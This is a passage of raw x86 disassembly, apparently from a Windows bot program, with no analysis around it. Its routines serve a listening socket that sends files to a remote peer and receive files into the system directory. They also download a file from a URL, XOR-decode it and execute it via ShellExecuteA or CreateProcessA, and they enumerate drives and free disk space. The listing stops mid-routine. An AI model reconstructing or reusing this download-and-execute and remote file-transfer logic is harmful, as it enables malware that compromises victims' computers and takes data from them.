push ebp mov ebp, esp sub esp, 904h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd push 1 xor esi, esi pop ebx mov [ebp+var_10], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_C], esi mov [ebp+var_20], esi call dword_44CD58 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_409E0C push offset unk_428E48 jmp loc_409FC5 ; --------------------------------------------------------------------------- loc_409E0C: ; CODE XREF: sub_409DBE+42j push 10h lea eax, [ebp+var_30] push esi push eax call sub_413890 add esp, 0Ch mov [ebp+var_30], 2 push esi call dword_44CCDC ; ntohs mov word ptr [ebp+var_2E], ax lea eax, [ebp+var_30] push 10h push eax push edi mov [ebp+var_2E+2], esi call dword_44CD08 ; bind test eax, eax jz short loc_409E4A push offset unk_428E10 jmp loc_409FC5 ; --------------------------------------------------------------------------- loc_409E4A: ; CODE XREF: sub_409DBE+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_30] push eax push edi call dword_44CC84 ; getsockname push [ebp+var_2E] call dword_44CC28 ; ntohs mov [ebp+var_4], eax lea eax, [ebp+var_1E0] push eax mov [ebp+arg_0], esi call sub_413E90 pop ecx loc_409E7C: ; CODE XREF: sub_409DBE+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+var_1E0] cmp al, 20h jnz short loc_409E8F push 5Fh pop eax jmp short loc_409E92 ; --------------------------------------------------------------------------- loc_409E8F: ; CODE XREF: sub_409DBE+CAj movsx eax, al loc_409E92: ; CODE XREF: sub_409DBE+CFj mov [ebp+ecx+var_504], al lea eax, [ebp+var_1E0] inc ecx push eax mov [ebp+arg_0], ecx call sub_413E90 cmp [ebp+arg_0], eax pop ecx jbe short loc_409E7C push ebx push edi call dword_44CD04 ; listen test eax, eax jz short loc_409EC5 push offset unk_428CB4 jmp loc_409FC5 ; --------------------------------------------------------------------------- loc_409EC5: ; CODE XREF: sub_409DBE+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+var_1E0] push 80000000h push eax call ds:dword_41F05C ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_409EEF push offset unk_428DE0 jmp loc_409FC5 ; --------------------------------------------------------------------------- loc_409EEF: ; CODE XREF: sub_409DBE+125j push esi push eax call ds:off_41F074 mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_408A5D pop ecx push eax call dword_44CD18 ; inet_addr push eax call dword_44CCD8 ; ntohl push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_2FC] push offset dword_428DC8 push eax call sub_413812 push esi lea eax, [ebp+var_2FC] push esi push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40B2B5 add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_400] push esi push eax push esi mov [ebp+var_3FC], edi mov [ebp+var_400], ebx call dword_44CCC4 ; select test eax, eax jg short loc_409F9F push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset dword_428D9C push eax push [ebp+var_1FC] call sub_40B2B5 jmp loc_40A0C3 ; --------------------------------------------------------------------------- loc_409F9F: ; CODE XREF: sub_409DBE+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call dword_44CD6C ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_409FD8 push offset unk_428D68 loc_409FC5: ; CODE XREF: sub_409DBE+49j ; sub_409DBE+87j ... lea eax, [ebp+var_2FC] push eax call sub_413812 pop ecx pop ecx jmp loc_40A0C6 ; --------------------------------------------------------------------------- loc_409FD8: ; CODE XREF: sub_409DBE+200j push edi call dword_44CD70 ; closesocket cmp [ebp+arg_0], esi jz loc_40A08A mov edi, 400h loc_409FED: ; CODE XREF: sub_409DBE+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_409FFA mov [ebp+var_4], eax loc_409FFA: ; CODE XREF: sub_409DBE+237j push edi lea eax, [ebp+var_904] push esi push eax call sub_413890 mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] call ds:off_41F094 lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_904] push [ebp+var_4] push eax push [ebp+var_8] call ds:off_41F090 push esi lea eax, [ebp+var_904] push [ebp+var_4] push eax push [ebp+var_1F8] call dword_44CD28 ; send mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_904] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call dword_44CCF4 ; recv cmp eax, ebx jl loc_40A11F mov eax, [ebp+var_4] cmp eax, ebx jl loc_40A11F sub [ebp+arg_0], eax jnz loc_409FED mov edi, [ebp+var_18] loc_40A08A: ; CODE XREF: sub_409DBE+224j push [ebp+var_8] call ds:dword_41F058 ; CloseHandle push [ebp+var_C] push [ebp+var_10] call sub_40A927 pop ecx pop ecx push eax lea eax, [ebp+var_1E0] push eax push [ebp+var_44] call dword_44CD64 ; inet_ntoa push eax lea eax, [ebp+var_2FC] push offset unk_428D14 push eax call sub_413812 loc_40A0C3: ; CODE XREF: sub_409DBE+1DCj add esp, 14h loc_40A0C6: ; CODE XREF: sub_409DBE+215j cmp [ebp+var_50], esi jnz short loc_40A0EB push esi lea eax, [ebp+var_2FC] push [ebp+var_54] push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40B2B5 add esp, 14h loc_40A0EB: ; CODE XREF: sub_409DBE+30Bj lea eax, [ebp+var_2FC] push eax call sub_409833 cmp edi, esi pop ecx jbe short loc_40A103 push edi call dword_44CD70 ; closesocket loc_40A103: ; CODE XREF: sub_409DBE+33Cj push [ebp+var_1F8] call dword_44CD70 ; closesocket push [ebp+var_58] call sub_4135DA pop ecx push esi call ds:off_41F040 loc_40A11F: ; CODE XREF: sub_409DBE+2AFj ; sub_409DBE+2BAj push esi mov esi, offset dword_428CE8 push [ebp+var_54] lea eax, [ebp+var_DC] push esi push eax push [ebp+var_1FC] call sub_40B2B5 push esi call sub_409833 add esp, 18h push [ebp+var_1F8] call dword_44CD70 ; closesocket push [ebp+var_58] call sub_4135DA pop ecx push ebx call ds:off_41F040 sub_409DBE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A160 proc near ; DATA XREF: sub_40CC09+7B7o var_13C4 = byte ptr -13C4h var_3C4 = byte ptr -3C4h var_2C0 = dword ptr -2C0h var_2B8 = byte ptr -2B8h var_2A4 = byte ptr -2A4h var_1A0 = byte ptr -1A0h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_10C = byte ptr -10Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 13C4h call sub_413E60 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_2C0] rep movsd push 1 xor ebx, ebx pop esi mov [ebp+var_8], ebx mov [eax+1B0h], esi lea eax, [ebp+var_3C4] push 104h push eax call ds:dword_41F0FC ; GetSystemDirectoryA lea eax, [ebp+var_2A4] push eax lea eax, [ebp+var_3C4] push eax lea eax, [ebp+var_3C4] push offset aSS_0 ; "%s%s" push eax call sub_413812 add esp, 10h lea eax, [ebp+var_3C4] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call ds:dword_41F05C ; CreateFileA cmp eax, 0FFFFFFFFh jnz short loc_40A1EA push offset unk_428F44 jmp short loc_40A233 ; --------------------------------------------------------------------------- loc_40A1EA: ; CODE XREF: sub_40A160+81j push eax call ds:dword_41F058 ; CloseHandle lea eax, [ebp+var_3C4] push offset off_428F40 push eax call sub_414F8F pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_40A212 push offset unk_428F04 jmp short loc_40A233 ; --------------------------------------------------------------------------- loc_40A212: ; CODE XREF: sub_40A160+A9j push [ebp+var_120] lea eax, [ebp+var_2B8] push eax call sub_409B77 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_40A246 push offset unk_428ED0 loc_40A233: ; CODE XREF: sub_40A160+88j ; sub_40A160+B0j lea eax, [ebp+var_10C] push eax call sub_413812 pop ecx pop ecx jmp loc_40A346 ; --------------------------------------------------------------------------- loc_40A246: ; CODE XREF: sub_40A160+CCj mov esi, 1000h loc_40A24B: ; CODE XREF: sub_40A160+151j push esi lea eax, [ebp+var_13C4] push ebx push eax call sub_413890 add esp, 0Ch lea eax, [ebp+var_13C4] push ebx push esi push eax push [ebp+arg_0] call dword_44CCF4 ; recv mov edi, eax cmp edi, ebx jz loc_40A318 cmp edi, 0FFFFFFFFh jz short loc_40A2B3 push [ebp+var_4] lea eax, [ebp+var_13C4] push edi push 1 push eax call sub_4158DF add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call dword_44CCD8 ; ntohl mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call dword_44CD28 ; send jmp short loc_40A24B ; --------------------------------------------------------------------------- loc_40A2B3: ; CODE XREF: sub_40A160+11Bj lea eax, [ebp+var_10C] push offset dword_428CE8 push eax call sub_413812 push ebx lea eax, [ebp+var_10C] push [ebp+var_118] push eax lea eax, [ebp+var_1A0] push eax push [ebp+var_2C0] call sub_40B2B5 lea eax, [ebp+var_10C] push eax call sub_409833 push [ebp+var_4] call sub_414E31 add esp, 24h push [ebp+arg_0] call dword_44CD70 ; closesocket push [ebp+var_11C] call sub_4135DA pop ecx push 1 call ds:off_41F040 loc_40A318: ; CODE XREF: sub_40A160+112j mov eax, [ebp+var_8] cdq push edx push eax call sub_40A927 push eax lea eax, [ebp+var_2A4] push eax lea eax, [ebp+var_2B8] push eax lea eax, [ebp+var_10C] push offset unk_428E7C push eax call sub_413812 add esp, 1Ch loc_40A346: ; CODE XREF: sub_40A160+E1j cmp [ebp+var_114], ebx jnz short loc_40A371 push ebx lea eax, [ebp+var_10C] push [ebp+var_118] push eax lea eax, [ebp+var_1A0] push eax push [ebp+var_2C0] call sub_40B2B5 add esp, 14h loc_40A371: ; CODE XREF: sub_40A160+1ECj lea eax, [ebp+var_10C] push eax call sub_409833 cmp [ebp+var_4], ebx pop ecx jz short loc_40A38C push [ebp+var_4] call sub_414E31 pop ecx loc_40A38C: ; CODE XREF: sub_40A160+221j cmp [ebp+arg_0], ebx jbe short loc_40A39A push [ebp+arg_0] call dword_44CD70 ; closesocket loc_40A39A: ; CODE XREF: sub_40A160+22Fj push [ebp+var_11C] call sub_4135DA pop ecx push ebx call ds:off_41F040 sub_40A160 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A3AD proc near ; DATA XREF: sub_40CC09+33AEo ; sub_40CC09+3A22o var_490 = qword ptr -490h var_484 = qword ptr -484h var_410 = dword ptr -410h var_40C = byte ptr -40Ch var_38C = byte ptr -38Ch var_28C = byte ptr -28Ch var_18C = dword ptr -18Ch var_188 = dword ptr -188h var_184 = dword ptr -184h var_180 = dword ptr -180h var_17C = dword ptr -17Ch var_178 = dword ptr -178h var_174 = dword ptr -174h var_170 = dword ptr -170h var_168 = dword ptr -168h var_15C = dword ptr -15Ch var_13C = dword ptr -13Ch var_138 = word ptr -138h var_124 = byte ptr -124h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 410h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_410] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_38C] push esi push eax push dword_44CC90 call dword_44CBFC ; InternetOpenUrlA cmp eax, esi mov [ebp+var_18], eax jz loc_40A881 push esi push esi push 2 push esi push esi lea eax, [ebp+var_28C] push 40000000h push eax call ds:dword_41F05C ; CreateFileA cmp eax, edi mov [ebp+var_20], eax jnb short loc_40A47D lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_124] push offset unk_4291DC push eax call sub_413812 add esp, 0Ch cmp [ebp+var_174], esi jnz short loc_40A45D push esi lea eax, [ebp+var_124] push [ebp+var_170] push eax lea eax, [ebp+var_40C] push eax push [ebp+var_410] call sub_40B2B5 add esp, 14h loc_40A45D: ; CODE XREF: sub_40A3AD+8Bj lea eax, [ebp+var_124] push eax call sub_409833 push [ebp+var_18C] call sub_4135DA pop ecx pop ecx push esi call ds:off_41F040 loc_40A47D: ; CODE XREF: sub_40A3AD+68j xor edi, edi call ds:dword_41F044 ; GetTickCount mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx call sub_413F0B pop ecx mov [ebp+var_1C], eax loc_40A497: ; CODE XREF: sub_40A3AD+1CCj push 0FFh lea eax, [ebp+var_124] push esi push eax call sub_413890 add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_124] push 0FFh push eax push [ebp+var_18] call dword_44CC04 ; InternetReadFile cmp [ebp+var_178], esi jz short loc_40A4DE push [ebp+arg_0] lea eax, [ebp+var_124] push eax call sub_40A8F0 pop ecx pop ecx loc_40A4DE: ; CODE XREF: sub_40A3AD+11Ej lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+var_124] push [ebp+arg_0] push eax push [ebp+var_20] call ds:dword_41F054 ; WriteFile cmp edi, ebx jnb short loc_40A51C mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_40A506 mov eax, [ebp+arg_0] loc_40A506: ; CODE XREF: sub_40A3AD+154j push eax lea eax, [ebp+var_124] push eax mov eax, [ebp+var_1C] add eax, edi push eax call sub_4138F0 add esp, 0Ch loc_40A51C: ; CODE XREF: sub_40A3AD+14Bj add edi, [ebp+arg_0] cmp [ebp+var_180], esi jz short loc_40A52F cmp edi, [ebp+var_180] ja short loc_40A57F loc_40A52F: ; CODE XREF: sub_40A3AD+178j cmp [ebp+var_188], 1 mov eax, edi jz short loc_40A54C shr eax, 0Ah push eax lea eax, [ebp+var_38C] push eax push offset unk_429194 jmp short loc_40A55C ; --------------------------------------------------------------------------- loc_40A54C: ; CODE XREF: sub_40A3AD+18Bj shr eax, 0Ah push eax lea eax, [ebp+var_38C] push eax push offset unk_429154 loc_40A55C: ; CODE XREF: sub_40A3AD+19Dj mov eax, [ebp+var_18C] imul eax, 134h add eax, offset dword_452028 push eax call sub_413812 add esp, 10h cmp [ebp+arg_0], esi ja loc_40A497 loc_40A57F: ; CODE XREF: sub_40A3AD+180j cmp [ebp+var_180], esi mov [ebp+var_14], 1 jz short loc_40A5E0 cmp edi, [ebp+var_180] jz short loc_40A5E0 push [ebp+var_180] lea eax, [ebp+var_124] mov [ebp+var_14], esi push edi push offset unk_429110 push eax call sub_413812 push esi lea eax, [ebp+var_124] push [ebp+var_170] push eax lea eax, [ebp+var_40C] push eax push [ebp+var_410] call sub_40B2B5 lea eax, [ebp+var_124] push eax call sub_409833 add esp, 28h loc_40A5E0: ; CODE XREF: sub_40A3AD+1DFj ; sub_40A3AD+1E7j call ds:dword_41F044 ; GetTickCount sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call ds:dword_41F058 ; CloseHandle push [ebp+var_1C] call sub_413F7F cmp [ebp+var_17C], esi pop ecx jz short loc_40A676 lea eax, [ebp+var_28C] push eax call sub_409B05 cmp eax, [ebp+var_17C] pop ecx jz short loc_40A676 push [ebp+var_17C] mov [ebp+var_14], esi push eax lea eax, [ebp+var_124] push offset unk_4290D8 push eax call sub_413812 push esi lea eax, [ebp+var_124] push [ebp+var_170] push eax lea eax, [ebp+var_40C] push eax push [ebp+var_410] call sub_40B2B5 lea eax, [ebp+var_124] push eax call sub_409833 add esp, 28h loc_40A676: ; CODE XREF: sub_40A3AD+268j ; sub_40A3AD+27Dj cmp [ebp+var_14], esi jz loc_40A8D4 cmp [ebp+var_188], 1 jz loc_40A783 mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul ds:dbl_41F658 lea eax, [ebp+var_28C] fstp [esp+484h+var_484] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_124] fmul ds:dbl_41F658 fstp [esp+490h+var_490] push offset unk_429090 push eax call sub_413812 add esp, 1Ch cmp [ebp+var_174], esi jnz short loc_40A6FA push esi lea eax, [ebp+var_124] push [ebp+var_170] push eax lea eax, [ebp+var_40C] push eax push [ebp+var_410] call sub_40B2B5 add esp, 14h loc_40A6FA: ; CODE XREF: sub_40A3AD+328j lea eax, [ebp+var_124] push eax call sub_409833 cmp [ebp+var_184], 1 pop ecx jnz loc_40A8D4 push 5 push esi lea eax, [ebp+var_28C] push esi push eax push offset aOpen ; "open" push esi call dword_44CC5C ; ShellExecuteA cmp [ebp+var_174], esi jnz loc_40A8D4 lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_124] push offset dword_42905C push eax call sub_413812 push esi lea eax, [ebp+var_124] push [ebp+var_170] push eax lea eax, [ebp+var_40C] push eax push [ebp+var_410] call sub_40B2B5 lea eax, [ebp+var_124] push eax call sub_409833 add esp, 24h jmp loc_40A8D4 ; --------------------------------------------------------------------------- loc_40A783: ; CODE XREF: sub_40A3AD+2D9j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul ds:dbl_41F658 lea eax, [ebp+var_28C] fstp [esp+484h+var_484] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_124] fmul ds:dbl_41F658 fstp [esp+490h+var_490] push offset unk_42900C push eax call sub_413812 add esp, 1Ch cmp [ebp+var_174], esi jnz short loc_40A7F1 push esi lea eax, [ebp+var_124] push [ebp+var_170] push eax lea eax, [ebp+var_40C] push eax push [ebp+var_410] call sub_40B2B5 add esp, 14h loc_40A7F1: ; CODE XREF: sub_40A3AD+41Fj lea eax, [ebp+var_124] push eax call sub_409833 push 10h lea eax, [ebp+var_10] push esi push eax call sub_413890 push 44h lea eax, [ebp+var_168] pop edi push edi push esi push eax call sub_413890 add esp, 1Ch mov [ebp+var_168], edi lea eax, [ebp+var_10] mov [ebp+var_15C], offset byte_438A10 push 1 mov [ebp+var_138], si pop edi push eax lea eax, [ebp+var_168] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+var_28C] push esi push eax push esi mov [ebp+var_13C], edi call ds:dword_41F0D4 ; CreateProcessA cmp eax, edi jnz short loc_40A873 call dword_44CC48 ; WSACleanup call sub_408701 push esi call ds:off_41F104 loc_40A873: ; CODE XREF: sub_40A3AD+4B2j lea eax, [ebp+var_28C] push eax push offset unk_428FC0 jmp short loc_40A88D ; --------------------------------------------------------------------------- loc_40A881: ; CODE XREF: sub_40A3AD+45j lea eax, [ebp+var_38C] push eax push offset unk_428F84 loc_40A88D: ; CODE XREF: sub_40A3AD+4D2j lea eax, [ebp+var_124] push eax call sub_413812 add esp, 0Ch cmp [ebp+var_174], esi jnz short loc_40A8C7 push esi lea eax, [ebp+var_124] push [ebp+var_170] push eax lea eax, [ebp+var_40C] push eax push [ebp+var_410] call sub_40B2B5 add esp, 14h loc_40A8C7: ; CODE XREF: sub_40A3AD+4F5j lea eax, [ebp+var_124] push eax call sub_409833 pop ecx loc_40A8D4: ; CODE XREF: sub_40A3AD+2CCj ; sub_40A3AD+361j ... push [ebp+var_18] call dword_44CD0C ; InternetCloseHandle push [ebp+var_18C] call sub_4135DA pop ecx push esi call ds:off_41F040 sub_40A3AD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40A8F0 proc near ; CODE XREF: sub_40A3AD+12Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_40A90C loc_40A8FC: ; CODE XREF: sub_40A8F0+1Aj mov dl, byte_42A334 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_40A8FC locret_40A90C: ; CODE XREF: sub_40A8F0+Aj retn sub_40A8F0 endp ; =============== S U B R O U T I N E ======================================= sub_40A90D proc near ; CODE XREF: sub_40CC09+2627p ; sub_40CC09+274Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4159E9 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_40A90D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A927 proc near ; CODE XREF: sub_40517E+469p ; sub_40517E+60Ep ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_450FA8 push 0 push edi call sub_413890 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_40A94C: ; CODE XREF: sub_40A927+5Bj ; sub_40A927+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_415540 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_4155C0 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_40A98A inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_40A94C mov byte ptr [esi], 2Ch inc esi jmp short loc_40A94C ; --------------------------------------------------------------------------- loc_40A98A: ; CODE XREF: sub_40A927+4Bj dec esi mov eax, edi loc_40A98D: ; CODE XREF: sub_40A927+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_40A99C mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_40A98D ; --------------------------------------------------------------------------- loc_40A99C: ; CODE XREF: sub_40A927+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_40A927 endp ; =============== S U B R O U T I N E ======================================= sub_40A9A6 proc near ; CODE XREF: sub_40AB52+54p ; sub_40AB52+8Dp arg_0 = dword ptr 4 push [esp+arg_0] call dword_44CD38 ; GetDriveTypeA sub eax, 0 jz short loc_40A9E9 dec eax jz short loc_40A9E3 dec eax dec eax jz short loc_40A9DD dec eax jz short loc_40A9D7 dec eax jz short loc_40A9D1 dec eax jz short loc_40A9CB mov eax, offset word_428AC4 retn ; --------------------------------------------------------------------------- loc_40A9CB: ; CODE XREF: sub_40A9A6+1Dj mov eax, offset off_42923C retn ; --------------------------------------------------------------------------- loc_40A9D1: ; CODE XREF: sub_40A9A6+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_40A9D7: ; CODE XREF: sub_40A9A6+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_40A9DD: ; CODE XREF: sub_40A9A6+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_40A9E3: ; CODE XREF: sub_40A9A6+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_40A9E9: ; CODE XREF: sub_40A9A6+Dj mov eax, offset aUnknown ; "Unknown" retn sub_40A9A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A9EF proc near ; CODE XREF: sub_40AA37+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_44CBE8 test eax, eax jz short loc_40AA24 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_40AA24: ; CODE XREF: sub_40A9EF+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_40A9EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA37 proc near ; CODE XREF: sub_4093C1+1F3p ; sub_40AB52+17p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_40A9EF pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_40AB0F mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_40AB0F mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_40AB0F push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_415A30 push edx push eax call sub_40A927 mov edi, offset aSkb ; "%sKB" push eax mov esi, 80h push edi lea eax, [ebp+var_198] push esi push eax call sub_413D8A add esp, 18h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_415A30 push edx push eax call sub_40A927 push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_413D8A add esp, 18h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_415A30 push edx push eax call sub_40A927 push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_413D8A add esp, 18h pop ebx jmp short loc_40AB3E ; --------------------------------------------------------------------------- loc_40AB0F: ; CODE XREF: sub_40AA37+2Cj ; sub_40AA37+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_413812 lea eax, [ebp+var_118] push esi push eax call sub_413812 lea eax, [ebp+var_98] push esi push eax call sub_413812 add esp, 18h loc_40AB3E: ; CODE XREF: sub_40AA37+D6j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_40AA37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB52 proc near ; CODE XREF: sub_40AC2A+17p ; sub_40AC2A+60p var_400 = byte ptr -400h var_280 = byte ptr -280h var_200 = byte ptr -200h var_180 = byte ptr -180h var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 400h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_400] push ebx push eax call sub_40AA37 push 60h mov esi, eax pop ecx lea edi, [ebp+var_400] rep movsd push 60h lea esi, [ebp+var_400] pop ecx lea edi, [ebp+var_280] lea eax, [ebp+var_180] push offset aFailed ; "failed" rep movsd push eax call sub_413C30 add esp, 10h test eax, eax jnz short loc_40ABC8 push ebx push ebx call sub_40A9A6 pop ecx push eax push offset unk_42929C lea eax, [ebp+var_100] push 0FFh push eax call sub_413D8A add esp, 14h jmp short loc_40ABFF ; --------------------------------------------------------------------------- loc_40ABC8: ; CODE XREF: sub_40AB52+50j lea eax, [ebp+var_280] push eax lea eax, [ebp+var_200] push eax lea eax, [ebp+var_180] push eax push ebx push ebx call sub_40A9A6 pop ecx push eax push offset unk_429250 lea eax, [ebp+var_100] push 0FFh push eax call sub_413D8A add esp, 20h loc_40ABFF: ; CODE XREF: sub_40AB52+74j push 1 lea eax, [ebp+var_100] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B5 lea eax, [ebp+var_100] push eax call sub_409833 add esp, 18h pop edi pop esi pop ebx leave retn sub_40AB52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC2A proc near ; CODE XREF: sub_40CC09+4DA4p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_40AC4B push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40AB52 add esp, 10h jmp short loc_40ACAC ; --------------------------------------------------------------------------- loc_40AC4B: ; CODE XREF: sub_40AC2A+9j push esi push edi push ebx push ebx call dword_44CC58 ; GetLogicalDriveStringsA lea esi, [eax+2] push esi call sub_413F0B pop ecx mov edi, eax push edi push esi call dword_44CC58 ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_40ACA3 loc_40AC6F: ; CODE XREF: sub_40AC2A+77j push offset off_4292EC push esi call sub_413C30 pop ecx test eax, eax pop ecx jz short loc_40AC92 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40AB52 add esp, 10h loc_40AC92: ; 